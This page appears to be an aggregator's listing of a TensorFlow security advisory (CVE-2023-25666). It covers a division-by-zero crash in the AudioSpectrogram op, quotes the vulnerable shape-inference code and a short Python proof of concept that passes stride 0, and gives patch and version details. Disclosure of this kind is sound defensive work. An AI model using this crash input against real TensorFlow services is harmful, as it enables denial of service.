TensorFlow has Floating Point Exception in AudioSpectrogram
Impact
version:2.11.0 //core/ops/audio_ops.cc:70
Status SpectrogramShapeFn(InferenceContext* c) { ShapeHandle input; TF_RETURN_IF_ERROR(c->WithRank(c->input(0), 2, &input)); int32_t window_size; TF_RETURN_IF_ERROR(c->GetAttr("window_size", &window_size)); int32_t stride; TF_RETURN_IF_ERROR(c->GetAttr("stride", &stride)); .....[1]
DimensionHandle input_length = c->Dim(input, 0); DimensionHandle input_channels = c->Dim(input, 1);
DimensionHandle output_length; if (!c->ValueKnown(input_length)) { output_length = c->UnknownDim(); } else { const int64_t input_length_value = c->Value(input_length); const int64_t length_minus_window = (input_length_value - window_size); int64_t output_length_value; if (length_minus_window < 0) { output_length_value = 0; } else { output_length_value = 1 + (length_minus_window / stride); .....[2] } output_length = c->MakeDim(output_length_value); }
Get the value of stride at [1], and the used at [2]
import tensorflow as tf
para = {'input': tf.constant([[14.], [24.]], dtype=tf.float32), 'window_size': 1, 'stride': 0, 'magnitude_squared': False}
func = tf.raw_ops.AudioSpectrogram
@tf.function(jit_compile=True)
def fuzz_jit():
y = func(**para)
return y
fuzz_jit()
Patches
We have patched the issue in GitHub commit d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by r3pwnx
Betroffene Software
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| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.11.1 | 2.11.1 |
| Python (PyPI) | tensorflow-cpu | < 2.11.1 | 2.11.1 |
| Python (PyPI) | tensorflow-gpu | < 2.11.1 | 2.11.1 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f637-vh3r-vfh2
- https://nvd.nist.gov/vuln/detail/CVE-2023-25666
- https://github.com/tensorflow/tensorflow/commit/d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14
- https://github.com/tensorflow/tensorflow
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-f637-vh3r-vfh2
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-697- Plattform
- Python (PyPI)
- Paket
tensorflow, tensorflow-cpu, tensorflow-gpu- Veröffentlicht
- 24.03.2023
- Aktualisiert
- 11.10.2026 14:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-1960 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3169 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-f637-vh3r-vfh2 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3317 - PyPA Advisory Database; CC BY 4.0
Schwachstellenhistorie: tensorflow-cpu
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 430
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 111
- Mittel 208
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
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